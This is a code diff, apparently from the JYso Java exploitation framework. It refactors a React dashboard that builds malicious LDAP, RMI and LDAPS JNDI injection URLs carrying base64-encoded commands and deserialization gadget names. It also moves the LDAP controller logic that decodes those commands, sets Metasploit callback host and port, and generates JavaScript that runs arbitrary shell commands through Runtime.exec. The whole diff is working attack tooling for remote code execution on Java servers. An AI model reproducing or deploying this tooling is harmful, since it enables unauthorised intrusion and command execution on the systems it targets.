- ip: '', ldapPort: 1389, ldapsPort: 1669, httpPort: 3456, rmiPort: 1099,
- AESkey: '123', user: '', PASSWD: '', TLSProxy: false, keyPass: '', certFile: ''
- })
-
- const filteredGadgets = useMemo(() => {
- if (!gadgetSearch) return gadgets
- return gadgets.filter(g => g.name.toLowerCase().includes(gadgetSearch.toLowerCase()))
- }, [gadgetSearch, gadgets])
-
- const switchMode = useCallback((next) => {
- if (next === mode) return
- setMode(next)
- setAnimKey(k => k + 1)
- setMsg({ success: '', error: '' })
- }, [mode])
-
- async function loadStatus() {
- try {
- const res = await getStatus()
- setStatus(res.data)
- setConfigForm(prev => ({
- ...prev,
- ip: res.data.ip || '',
- ldapPort: res.data.ldapPort || 1389,
- ldapsPort: res.data.ldapsPort || 1669,
- httpPort: res.data.httpPort || 3456,
- rmiPort: res.data.rmiPort || 1099,
- AESkey: res.data.AESkey || '123',
- user: res.data.user || '',
- PASSWD: res.data.PASSWD || '',
- TLSProxy: res.data.TLSProxy || false,
- keyPass: res.data.keyPass || '',
- certFile: res.data.certFile || ''
- }))
- } catch (e) {
- if (e.response && e.response.status === 401) {
- setAuthToken(null)
- navigate('/login', { replace: true })
- }
- }
- }
-
- async function loadGadgets() {
- try {
- const res = await getGadgets()
- setGadgets(res.data)
- } catch (e) { /* ignore */ }
- }
+ const { showToast } = useToast()
+ const d = useDashboard()
async function handleToggleServer(server) {
- setToggling(server)
- setMsg({ success: '', error: '' })
- try {
- const res = await toggleServer(server)
- if (res.data.success) {
- setMsg({ success: server.toUpperCase() + ' ' + (res.data.running ? 'started' : 'stopped'), error: '' })
- setStatus(res.data.status)
- }
- } catch (e) {
- setMsg({ success: '', error: 'Failed to toggle ' + server.toUpperCase() })
- } finally { setToggling(null) }
+ await d.handleToggleServer(server)
+ const isRunning = d.status[server + 'Running']
+ showToast(`${server.toUpperCase()} ${isRunning ? 'stopped' : 'started'}`, 'success')
}
async function handleSaveConfig() {
- setLoading(true)
- setMsg({ success: '', error: '' })
- try {
- await updateConfig(configForm)
- setMsg({ success: 'Configuration saved', error: '' })
- loadStatus()
- } catch (e) {
- setMsg({ success: '', error: 'Failed to save configuration' })
- } finally { setLoading(false) }
+ await d.handleSaveConfig()
+ showToast('Configuration saved', 'success')
}
async function handleGeneratePayload() {
- const gadgetName = (gadgetModeInput || selectedGadget || '').trim()
- if (!gadgetName) return
- setLoading(true)
- setMsg({ success: '', error: '' })
- try {
- const res = await apiGenerate({ gadget: gadgetName, command: payloadCmd, filename: saveFilename, encodeBase64,
- inherit, obscure, dcfp, dirtyType, dirtyLength, noComSun, mozillaClassLoader, rhino, utf8Overlong })
- if (res.data.success) {
- setPayloadResult(res.data.message || 'Payload generated successfully')
- setMsg({ success: 'Payload generated', error: '' })
- if (res.data.saved) fetchFiles()
- } else {
- setPayloadResult('Error: ' + (res.data.error || 'unknown'))
- setMsg({ success: '', error: res.data.error || 'Generation failed' })
- }
- } catch (e) {
- setMsg({ success: '', error: e.response?.data?.error || 'Failed to generate payload' })
- } finally { setLoading(false) }
- }
-
- async function handleCopyPayload() {
- if (!payloadResult) return
- try {
- await navigator.clipboard.writeText(payloadResult)
- setCopied(true)
- setTimeout(() => setCopied(false), 2000)
- } catch { /* ignore */ }
- }
-
- async function copyText(text) {
- if (!text) return
- try {
- await navigator.clipboard.writeText(text)
- setCopied(true)
- setTimeout(() => setCopied(false), 2000)
- } catch { /* ignore */ }
+ await d.handleGeneratePayload()
+ if (d.payloadResult && !d.payloadResult.startsWith('Error')) {
+ showToast('Payload generated', 'success')
+ } else if (d.payloadResult?.startsWith('Error')) {
+ showToast(d.payloadResult, 'error')
+ }
}
function handleGenerateJndiPayload() {
- const gadgetName = (jndiGadgetInput || selectedGadget || '').trim()
- if (!gadgetName || !payloadCmd) return
- setLoading(true)
- setMsg({ success: '', error: '' })
- setJndiPayloadResult('')
- setRmiPayloadResult('')
- setLdapsPayloadResult('')
- try {
- const bytes = new TextEncoder().encode(payloadCmd)
- const cmdB64 = btoa(String.fromCharCode.apply(null, bytes))
- const ipAddr = configForm.ip || '0.0.0.0'
- const ldapPort = configForm.ldapPort || 1389
- const rmiPort = configForm.rmiPort || 1099
- const ldapsPort = configForm.ldapsPort || 1669
-
- const ldapUrl = `ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
- const rmiUrl = `rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
- const ldapsUrl = `ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
-
- setJndiPayloadResult(ldapUrl)
- setRmiPayloadResult(rmiUrl)
- setLdapsPayloadResult(ldapsUrl)
- setMsg({ success: 'Payload URLs generated', error: '' })
- } catch (e) {
- setMsg({ success: '', error: 'Failed to generate URL' })
- } finally { setLoading(false) }
+ d.handleGenerateJndiPayload()
+ if (d.jndiPayloadResult) {
+ showToast('Payload URLs generated', 'success')
+ }
}
function handleGenerateClassLoader() {
- const fp = filePath.trim()
- const route = routing.trim()
- if (!fp || !route) return
- setLoading(true)
- setMsg({ success: '', error: '' })
- setClassLoaderResult('')
- setRmiClassLoaderResult('')
- setLdapsClassLoaderResult('')
- if (!fp.toLowerCase().endsWith('.class')) {
- setMsg({ success: '', error: 'File path must end with .class' })
- setLoading(false)
- return
+ d.handleGenerateClassLoader()
+ if (d.classLoaderResult) {
+ showToast('ClassLoader URLs generated', 'success')
}
- try {
- const ipAddr = configForm.ip || '0.0.0.0'
- const ldapPort = configForm.ldapPort || 1389
- const rmiPort = configForm.rmiPort || 1099
- const ldapsPort = configForm.ldapsPort || 1669
-
- const ldapUrl = `ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}`
- const rmiUrl = `rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}`
- const ldapsUrl = `ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}`
-
- setClassLoaderResult(ldapUrl)
- setRmiClassLoaderResult(rmiUrl)
- setLdapsClassLoaderResult(ldapsUrl)
- setMsg({ success: 'ClassLoader URLs generated', error: '' })
- } catch (e) {
- setMsg({ success: '', error: 'Failed to generate URL' })
- } finally { setLoading(false) }
- }
-
- function logout() {
- setAuthToken(null)
- navigate('/login', { replace: true })
- }
-
- async function fetchLogs() {
- try {
- const res = await getLogs(100)
- setLogLines(res.data.logs || [])
- } catch { /* ignore */ }
- }
-
- useEffect(() => { loadStatus(); loadGadgets() }, [])
-
- useEffect(() => {
- if (mode !== 'gadget') return
- fetchFiles()
- }, [mode])
-
- async function fetchFiles() {
- try {
- const res = await getFiles()
- setFiles(res.data)
- } catch { /* ignore */ }
- }
-
- async function handleDownloadFile(name) {
- try {
- const res = await downloadFile(name)
- const url = window.URL.createObjectURL(new Blob([res.data]))
- const a = document.createElement('a')
- a.href = url
- a.download = name
- a.click()
- window.URL.revokeObjectURL(url)
- } catch { /* ignore */ }
- }
-
- async function handleDeleteFile(name) {
- if (!confirm(`Delete ${name}?`)) return
- try {
- await apiDeleteFile(name)
- fetchFiles()
- } catch { /* ignore */ }
- }
-
- function handleDragOver(e) {
- e.preventDefault()
- e.stopPropagation()
- setDragOver(true)
- }
-
- function handleDragLeave(e) {
- e.preventDefault()
- e.stopPropagation()
- setDragOver(false)
- }
-
- function handleDrop(e) {
- e.preventDefault()
- e.stopPropagation()
- setDragOver(false)
- const droppedFiles = e.dataTransfer.files
- if (droppedFiles.length > 0) {
- doUpload(droppedFiles[0])
- }
- }
-
- function handleFileSelect(e) {
- const selectedFiles = e.target.files
- if (selectedFiles.length > 0) {
- doUpload(selectedFiles[0])
- }
- e.target.value = ''
}
async function doUpload(file) {
- setUploading(true)
- setMsg({ success: '', error: '' })
- try {
- const formData = new FormData()
- formData.append('file', file)
- const res = await uploadFile(formData)
- if (res.data.success) {
- setMsg({ success: 'Uploaded: ' + res.data.name, error: '' })
- fetchFiles()
- } else {
- setMsg({ success: '', error: res.data.error || 'Upload failed' })
- }
- } catch (e) {
- setMsg({ success: '', error: 'Upload failed' })
- } finally {
- setUploading(false)
- }
+ await d.doUpload(file)
+ showToast(`Uploaded: ${file.name}`, 'success')
}
- useEffect(() => {
- if (activeJndiTab !== 'logs') return
- fetchLogs()
- const id = setInterval(fetchLogs, 2000)
- return () => clearInterval(id)
- }, [activeJndiTab])
-
- useEffect(() => {
- if (logEndRef.current) logEndRef.current.scrollIntoView({ behavior: 'smooth' })
- }, [logLines])
-
return (
@@ -355,23 +83,23 @@ export default function Dashboard() {
JYso
-
+
- {msg.success && {msg.success}
}
- {msg.error && {msg.error}
}
-
-
- {mode === 'jndi' && (
+
+ {d.mode === 'jndi' && (
<>
Server Status
-
handleToggleServer('ldap')}
title="Click to toggle LDAP server">
- LDAP ({status.ldapPort})
-
- {status.ldapRunning ? 'ONLINE' : 'OFFLINE'}
+ LDAP ({d.status.ldapPort})
+
+ {d.status.ldapRunning ? 'ONLINE' : 'OFFLINE'}
-
handleToggleServer('ldaps')}
title="Click to toggle LDAPS server">
- LDAPS ({status.ldapsPort})
-
- {status.ldapsRunning ? 'ONLINE' : 'OFFLINE'}
+ LDAPS ({d.status.ldapsPort})
+
+ {d.status.ldapsRunning ? 'ONLINE' : 'OFFLINE'}
-
handleToggleServer('http')}
title="Click to toggle HTTP server">
- HTTP ({status.httpPort})
-
- {status.httpRunning ? 'ONLINE' : 'OFFLINE'}
+ HTTP ({d.status.httpPort})
+
+ {d.status.httpRunning ? 'ONLINE' : 'OFFLINE'}
-
handleToggleServer('rmi')}
title="Click to toggle RMI server">
- RMI ({status.rmiPort})
-
- {status.rmiRunning ? 'ONLINE' : 'OFFLINE'}
+ RMI ({d.status.rmiPort})
+
+ {d.status.rmiRunning ? 'ONLINE' : 'OFFLINE'}
IP Address
- {status.ip || '0.0.0.0'}
+ {d.status.ip || '0.0.0.0'}
Version
@@ -438,134 +163,135 @@ export default function Dashboard() {
-
+
- {activeJndiTab === 'config' && (
+ {d.activeJndiTab === 'config' && (
- setConfigForm({ ...configForm, ip: e.target.value })} />
+ d.setConfigForm({ ...d.configForm, ip: e.target.value })} />
- setConfigForm({ ...configForm, ldapPort: parseInt(e.target.value) || 1389 })} />
+ d.setConfigForm({ ...d.configForm, ldapPort: parseInt(e.target.value) || 1389 })} />
- setConfigForm({ ...configForm, ldapsPort: parseInt(e.target.value) || 1669 })} />
+ d.setConfigForm({ ...d.configForm, ldapsPort: parseInt(e.target.value) || 1669 })} />
- setConfigForm({ ...configForm, httpPort: parseInt(e.target.value) || 3456 })} />
+ d.setConfigForm({ ...d.configForm, httpPort: parseInt(e.target.value) || 3456 })} />
- setConfigForm({ ...configForm, rmiPort: parseInt(e.target.value) || 1099 })} />
+ d.setConfigForm({ ...d.configForm, rmiPort: parseInt(e.target.value) || 1099 })} />
- setConfigForm({ ...configForm, AESkey: e.target.value })} />
+ d.setConfigForm({ ...d.configForm, AESkey: e.target.value })} />
- setConfigForm({ ...configForm, user: e.target.value })} />
+ d.setConfigForm({ ...d.configForm, user: e.target.value })} />
- setConfigForm({ ...configForm, PASSWD: e.target.value })} />
+ d.setConfigForm({ ...d.configForm, PASSWD: e.target.value })} />
- setConfigForm({ ...configForm, keyPass: e.target.value })} />
+ d.setConfigForm({ ...d.configForm, keyPass: e.target.value })} />
- setConfigForm({ ...configForm, certFile: e.target.value })} />
+ d.setConfigForm({ ...d.configForm, certFile: e.target.value })} />
-
)}
- {activeJndiTab === 'payload' && (
+ {d.activeJndiTab === 'payload' && (
-
+
setPayloadSubTab('gadget')}
+ className={'tab-segment-btn' + (d.payloadSubTab === 'gadget' ? ' active' : '')}
+ onClick={() => d.setPayloadSubTab('gadget')}
>
Gadget
setPayloadSubTab('classloader')}
+ className={'tab-segment-btn' + (d.payloadSubTab === 'classloader' ? ' active' : '')}
+ onClick={() => d.setPayloadSubTab('classloader')}
>
ClassLoader
- {payloadSubTab === 'gadget' && (
+ {d.payloadSubTab === 'gadget' && (
-
+
setGadgetOpen(true)}
- onBlur={() => setTimeout(() => setGadgetOpen(false), 150)}
- onChange={e => { setJndiGadgetInput(e.target.value); setGadgetSearch(e.target.value); }}
+ onFocus={() => d.setGadgetOpen(true)}
+ onBlur={() => setTimeout(() => d.setGadgetOpen(false), 150)}
+ onChange={e => { d.setJndiGadgetInput(e.target.value); d.setGadgetSearch(e.target.value); }}
style={{ cursor: 'text' }}
/>
+
- {gadgetOpen && (
+ {d.gadgetOpen && (
- {filteredGadgets.map(g => (
+ {d.filteredGadgets.map(g => (
{ e.preventDefault(); setSelectedGadget(g.name); setJndiGadgetInput(g.name); setGadgetSearch(g.name); setGadgetOpen(false); }}>
+ className={'gadget-item' + (d.selectedGadget === g.name ? ' selected' : '')}
+ onMouseDown={e => { e.preventDefault(); d.setSelectedGadget(g.name); d.setJndiGadgetInput(g.name); d.setGadgetSearch(g.name); d.setGadgetOpen(false); }}>
{g.name}
))}
@@ -573,75 +299,59 @@ export default function Dashboard() {
)}
-
+
-
- {loading ? 'Generating...' : 'Generate'}
+ disabled={d.loading || (!(d.jndiGadgetInput || d.selectedGadget).trim()) || !d.payloadCmd}>
+ {d.loading ? 'Generating...' : 'Generate'}
- {jndiPayloadResult && (
+ {d.jndiPayloadResult && (
- {jndiPayloadResult}
-
copyText(jndiPayloadResult)} title="Copy to clipboard">
- {copied ? (
-
- ) : (
-
- )}
-
+ {d.jndiPayloadResult}
+
)}
- {rmiPayloadResult && (
+ {d.rmiPayloadResult && (
- {rmiPayloadResult}
-
copyText(rmiPayloadResult)} title="Copy to clipboard">
- {copied ? (
-
- ) : (
-
- )}
-
+ {d.rmiPayloadResult}
+
)}
- {ldapsPayloadResult && (
+ {d.ldapsPayloadResult && (
- {ldapsPayloadResult}
-
copyText(ldapsPayloadResult)} title="Copy to clipboard">
- {copied ? (
-
- ) : (
-
- )}
-
+ {d.ldapsPayloadResult}
+
)}
)}
- {payloadSubTab === 'classloader' && (
+ {d.payloadSubTab === 'classloader' && (
-
+
setRoutingOpen(true)}
- onBlur={() => setTimeout(() => setRoutingOpen(false), 150)}
- onChange={e => setRouting(e.target.value)}
+ onFocus={() => d.setRoutingOpen(true)}
+ onBlur={() => setTimeout(() => d.setRoutingOpen(false), 150)}
+ onChange={e => d.setRouting(e.target.value)}
style={{ cursor: 'text' }}
/>
+
- {routingOpen && (
+ {d.routingOpen && (
- {ROUTING_OPTIONS.map(opt => (
+ {d.ROUTING_OPTIONS.map(opt => (
{ e.preventDefault(); setRouting(opt); setRoutingOpen(false); }}>
+ className={'gadget-item' + (d.routing === opt ? ' selected' : '')}
+ onMouseDown={e => { e.preventDefault(); d.setRouting(opt); d.setRoutingOpen(false); }}>
{opt}
))}
@@ -649,50 +359,33 @@ export default function Dashboard() {
)}
-
+
- setFilePath(e.target.value)} />
+ onChange={e => d.setFilePath(e.target.value)} />
+
- {loading ? 'Generating...' : 'Generate'}
+ disabled={d.loading || !d.filePath.trim() || !d.routing.trim()}>
+ {d.loading ? 'Generating...' : 'Generate'}
- {classLoaderResult && (
+ {d.classLoaderResult && (
- {classLoaderResult}
-
copyText(classLoaderResult)} title="Copy to clipboard">
- {copied ? (
-
- ) : (
-
- )}
-
+ {d.classLoaderResult}
+
)}
- {rmiClassLoaderResult && (
+ {d.rmiClassLoaderResult && (
- {rmiClassLoaderResult}
-
copyText(rmiClassLoaderResult)} title="Copy to clipboard">
- {copied ? (
-
- ) : (
-
- )}
-
+ {d.rmiClassLoaderResult}
+
)}
- {ldapsClassLoaderResult && (
+ {d.ldapsClassLoaderResult && (
- {ldapsClassLoaderResult}
-
copyText(ldapsClassLoaderResult)} title="Copy to clipboard">
- {copied ? (
-
- ) : (
-
- )}
-
+ {d.ldapsClassLoaderResult}
+
)}
@@ -700,24 +393,24 @@ export default function Dashboard() {
)}
- {activeJndiTab === 'logs' && (
+ {d.activeJndiTab === 'logs' && (
Server Events
- {logLoading ? 'Loading...' : 'Refresh'}
+ onClick={d.fetchLogs} disabled={d.logLoading}>
+ {d.logLoading ? 'Loading...' : 'Refresh'}
- {logLines.length === 0 ? (
+ {d.logLines.length === 0 ? (
No events yet. Start a server or wait for incoming requests.
) : (
- logLines.map((line, i) => (
+ d.logLines.map((line, i) => (
{line}
))
)}
-
+
)}
@@ -725,188 +418,185 @@ export default function Dashboard() {
>
)}
- {mode === 'gadget' && (
-
+ {d.mode === 'gadget' && (
+
-
Payload Generator
- setShowAdvanced(v => !v)}
- >
- {showAdvanced ? 'Hide Options' : 'Advanced Options'}
-
-
-
-
-
-
- {showAdvanced && (
-
- )}
-
-
-
-
- setGadgetOpen(true)}
- onBlur={() => setTimeout(() => setGadgetOpen(false), 150)}
- onChange={e => { setGadgetModeInput(e.target.value); setGadgetSearch(e.target.value); }}
- style={{ cursor: 'text' }}
- />
-
- {gadgetOpen && (
-
-
- {filteredGadgets.map(g => (
-
{ e.preventDefault(); setSelectedGadget(g.name); setGadgetModeInput(g.name); setGadgetSearch(g.name); setGadgetOpen(false); }}>
- {g.name}
-
- ))}
-
-
- )}
-
-
-
-
-
-
- setSaveFilename(e.target.value)} />
-
-
- {loading ? 'Generating...' : 'Generate'}
-
- {payloadResult && (
-
- {payloadResult}
-
- {copied ? (
-
- ) : (
-
- )}
+ Payload Generator
+ d.setShowAdvanced(v => !v)}
+ >
+ {d.showAdvanced ? 'Hide Options' : 'Advanced Options'}
- )}
-
-
-
-
File Manager
-
- {filesLoading ? 'Loading...' : 'Refresh'}
-
-
-
fileInputRef.current?.click()}
- >
-
- {uploading ? (
- Uploading...
- ) : (
- Drop file here or click to upload
- )}
-
-
- {files.length === 0 ? (
-
No saved files
- ) : (
- files.map(f => (
-
-
{f.name}
-
{f.size > 1024 ? (f.size / 1024).toFixed(1) + ' KB' : f.size + ' B'}
-
handleDownloadFile(f.name)} title="Download">
-
-
-
handleDeleteFile(f.name)} title="Delete">
-
-
+
+
+
+
+ {d.showAdvanced && (
+
+ )}
+
+
+
+
+ d.setGadgetOpen(true)}
+ onBlur={() => setTimeout(() => d.setGadgetOpen(false), 150)}
+ onChange={e => { d.setGadgetModeInput(e.target.value); d.setGadgetSearch(e.target.value); }}
+ style={{ cursor: 'text' }}
+ />
+
+
+ {d.gadgetOpen && (
+
+
+ {d.filteredGadgets.map(g => (
+
{ e.preventDefault(); d.setSelectedGadget(g.name); d.setGadgetModeInput(g.name); d.setGadgetSearch(g.name); d.setGadgetOpen(false); }}>
+ {g.name}
+
+ ))}
+
+
+ )}
+
+
+
+
+
+
+ d.setSaveFilename(e.target.value)} />
+
+
+
+ {d.loading ? 'Generating...' : 'Generate'}
+
+ {d.payloadResult && (
+
+ {d.payloadResult}
+
+
)}
+
+
+
File Manager
+
+ {d.filesLoading ? 'Loading...' : 'Refresh'}
+
+
+
d.fileInputRef.current?.click()}
+ >
+
+ {d.uploading ? (
+ Uploading...
+ ) : (
+ Drop file here or click to upload
+ )}
+
+
+ {d.files.length === 0 ? (
+
No saved files
+ ) : (
+ d.files.map(f => (
+
+
{f.name}
+
{f.size > 1024 ? (f.size / 1024).toFixed(1) + ' KB' : f.size + ' B'}
+
d.handleDownloadFile(f.name)} title="Download">
+
+
+
d.handleDeleteFile(f.name)} title="Delete">
+
+
+
+ ))
+ )}
+
+
-
)}
diff --git a/src/main/java/com/qi4l/JYso/RMIServer.java b/src/main/java/com/qi4l/JYso/RMIServer.java
index 86bfb33..f3d9498 100644
--- a/src/main/java/com/qi4l/JYso/RMIServer.java
+++ b/src/main/java/com/qi4l/JYso/RMIServer.java
@@ -2,7 +2,7 @@ package com.qi4l.JYso;
import com.qi4l.JYso.controllers.rmi.Basic;
import com.qi4l.JYso.controllers.rmi.ELProcessor;
-import com.qi4l.JYso.gadgets.utils.JRMPUtils;
+import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.MarshalOutputStream;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
@@ -117,7 +117,7 @@ public class RMIServer implements Runnable {
bufIn.mark(4);
try (DataInputStream in = new DataInputStream(bufIn)) {
- DataOutputStream out = JRMPUtils.handshake(in, s);
+ DataOutputStream out = Utils.handshake(in, s);
if (out == null) {
continue;
}
diff --git a/src/main/java/com/qi4l/JYso/controllers/BaseLdapController.java b/src/main/java/com/qi4l/JYso/controllers/BaseLdapController.java
new file mode 100644
index 0000000..8dde6d3
--- /dev/null
+++ b/src/main/java/com/qi4l/JYso/controllers/BaseLdapController.java
@@ -0,0 +1,125 @@
+package com.qi4l.JYso.controllers;
+
+import com.qi4l.JYso.enumtypes.GadgetType;
+import com.qi4l.JYso.exceptions.IncorrectParamsException;
+import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
+import com.qi4l.JYso.gadgets.Config.Config;
+import com.qi4l.JYso.gadgets.utils.Utils;
+import org.fusesource.jansi.Ansi;
+
+import java.util.Locale;
+
+public abstract class BaseLdapController implements LdapController {
+
+ public static String getString(String base, int index) {
+ int cursor = 0;
+ int found = 0;
+ while (cursor < base.length()) {
+ int nextSlash = base.indexOf('/', cursor);
+ if (nextSlash == -1) nextSlash = base.length();
+
+ if (nextSlash > cursor) {
+ if (found == index) {
+ return base.substring(cursor, nextSlash);
+ }
+ found++;
+ }
+ cursor = nextSlash + 1;
+ }
+ return "";
+ }
+
+ static String getStringQ(String base, int index) {
+ return getString(base, index);
+ }
+
+ public static String segment(String base, int index) {
+ return getStringQ(base, index);
+ }
+
+ public static String suffixAfterDash(String value) {
+ int dashIndex = value.indexOf('-');
+ return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
+ }
+
+ public static GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
+ String segment = segment(base, 2);
+ if (segment.isEmpty()) return null;
+
+ try {
+ return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
+ } catch (IllegalArgumentException ignored) {
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
+ }
+ }
+
+ public static String[] resolveParams(String base, GadgetType gadgetType) throws Exception {
+ if (gadgetType == null) return new String[0];
+
+ switch (gadgetType) {
+ case base64:
+ String cmd = Utils.getCmdFromBase(base);
+ System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
+ return new String[]{cmd};
+ case shell:
+ String encoded = Utils.getCmdFromBase(base);
+ String decoded = Utils.base64Decode(encoded);
+ System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
+ return decoded.split(" ");
+ case msf:
+ String[] results = Utils.getIPAndPortFromBase(base);
+ Config.rhost = results[0];
+ Config.rport = results[1];
+ System.out.println(" RemoteHost: " + results[0]);
+ System.out.println(" RemotePort: " + results[1]);
+ return results;
+ default:
+ return new String[0];
+ }
+ }
+
+ public static class ParseResult {
+ public final String payloadType;
+ public final GadgetType gadgetType;
+ public final String[] params;
+
+ ParseResult(String payloadType, GadgetType gadgetType, String[] params) {
+ this.payloadType = payloadType;
+ this.gadgetType = gadgetType;
+ this.params = params;
+ }
+ }
+
+ public static ParseResult parseBase(String base, String header) throws UnSupportedPayloadTypeException, IncorrectParamsException {
+ System.out.println(header);
+ try {
+ String normalized = base.replace('\\', '/');
+ String payloadType = segment(normalized, 1);
+ if (payloadType.isEmpty()) {
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
+ }
+ System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
+
+ GadgetType gadgetType = parseGadgetType(normalized);
+ String[] params = resolveParams(normalized, gadgetType);
+ return new ParseResult(payloadType, gadgetType, params);
+ } catch (Exception e) {
+ if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
+ throw new IncorrectParamsException("Incorrect params: " + base);
+ }
+ }
+
+ public static String getExecCode(String cmd) {
+ return "var str_s=new Array(3);\n"
+ + "if(java.io.File.separator.equals('/')){\n"
+ + "str_s[0]='/bin/bash';\n"
+ + "str_s[1]='-c';\n"
+ + "str_s[2]='" + cmd + "';\n"
+ + "}else{\n"
+ + "str_s[0]='cmd';\n"
+ + "str_s[1]='/C';\n"
+ + "str_s[2]='" + cmd + "';\n"
+ + "}\n"
+ + "java.lang.Runtime.getRuntime().exec(str_s);";
+ }
+}
diff --git a/src/main/java/com/qi4l/JYso/controllers/BasicController.java b/src/main/java/com/qi4l/JYso/controllers/BasicController.java
index 7fd5847..d7efc33 100644
--- a/src/main/java/com/qi4l/JYso/controllers/BasicController.java
+++ b/src/main/java/com/qi4l/JYso/controllers/BasicController.java
@@ -1,12 +1,9 @@
package com.qi4l.JYso.controllers;
-import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
-import com.qi4l.JYso.gadgets.URLDNS;
import com.qi4l.JYso.gadgets.utils.Gadgets;
-import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.Meterpreter;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
@@ -17,42 +14,18 @@ import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import java.net.URL;
-import java.nio.charset.StandardCharsets;
-import java.util.Base64;
-import java.util.Locale;
import static org.fusesource.jansi.Ansi.ansi;
+@SuppressWarnings("unused")
@LdapMapping(uri = {"/basic"})
-public class BasicController implements LdapController {
+public class BasicController extends BaseLdapController {
private static final Logger log = LogManager.getLogger(BasicController.class);
private static String payloadType;
- // 用于对外提供动态字节码的 HTTP 服务器基础路径。
private final String codebase = Config.codeBase;
- // 存放从 LDAP 路径中解析出的命令或连接参数。
private String[] params = new String[0];
- private GadgetType gadgetType;
- static String getStringQ(String base, int index) {
- int cursor = 0;
- int found = 0;
- while (cursor < base.length()) {
- int nextSlash = base.indexOf('/', cursor);
- if (nextSlash == -1) nextSlash = base.length();
-
- if (nextSlash > cursor) {
- if (found == index) {
- return base.substring(cursor, nextSlash);
- }
- found++;
- }
- cursor = nextSlash + 1;
- }
- return "";
- }
-
- // 向 LDAP 客户端返回引用指定 payload 类的搜索结果。
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
@@ -67,34 +40,19 @@ public class BasicController implements LdapController {
entry.addAttribute("javaFactory", className);
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
- } catch (Throwable er) {
+ } catch (Exception er) {
System.err.println("Error while generating or serializing payload");
- log.error(String.valueOf(er));
+ log.error("Error while generating or serializing payload", er);
}
}
- // 解析请求路径,确定 payload 类型并准备执行时所需的参数。
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
- System.out.println("- JNDI Remote Reference Links ");
- try {
- String normalized = base.replace('\\', '/');
- payloadType = segment(normalized, 1);
- if (payloadType.isEmpty()) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
- }
- System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
-
- gadgetType = parseGadgetType(normalized);
- params = resolveParams(normalized);
- } catch (Exception e) {
- if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
-
- throw new IncorrectParamsException("Incorrect params >> " + base);
- }
+ ParseResult result = parseBase(base, "- JNDI Remote Reference Links ");
+ payloadType = result.payloadType;
+ params = result.params;
}
- // 根据 payload 标识返回需要加载的实现类名称。
private String resolvePayloadClass() throws Exception {
if (payloadType.contains("E-")) {
Class> echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType)));
@@ -109,7 +67,6 @@ public class BasicController implements LdapController {
if (params.length == 0) {
throw new IncorrectParamsException("Missing command parameters.");
}
- // 待写
}
if (payloadType.contains("msf")) {
@@ -118,56 +75,4 @@ public class BasicController implements LdapController {
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
}
-
- // 读取路径中的 gadget 片段并转换为枚举值。
- private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
- String segment = segment(base, 2);
- if (segment.isEmpty()) {
- return null;
- }
- try {
- return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
- } catch (IllegalArgumentException ignored) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
- }
- }
-
- // 根据 gadget 类型构建命令行或回连配置参数。
- private String[] resolveParams(String base) throws Exception {
- if (gadgetType == null) {
- return new String[0];
- }
-
- switch (gadgetType) {
- case base64:
- String cmd = Utils.getCmdFromBase(base);
- System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset());
- return new String[]{cmd};
- case shell:
- String encoded = Utils.getCmdFromBase(base);
- String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8);
- System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset());
- return decoded.split(" ");
- case msf:
- String[] results = Utils.getIPAndPortFromBase(base);
- Config.rhost = results[0];
- Config.rport = results[1];
- System.out.println(" RemoteHost: " + results[0]);
- System.out.println(" RemotePort: " + results[1]);
- return results;
- default:
- return new String[0];
- }
- }
-
- // 提取路径中第 index 个非空段,保持与原解析逻辑一致。
- private String segment(String base, int index) {
- return getStringQ(base, index);
- }
-
- // 返回连字符后的子串,用于解析自定义类名。
- private String suffixAfterDash(String value) {
- int dashIndex = value.indexOf('-');
- return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
- }
}
diff --git a/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java b/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java
index b7a7686..11fbb34 100644
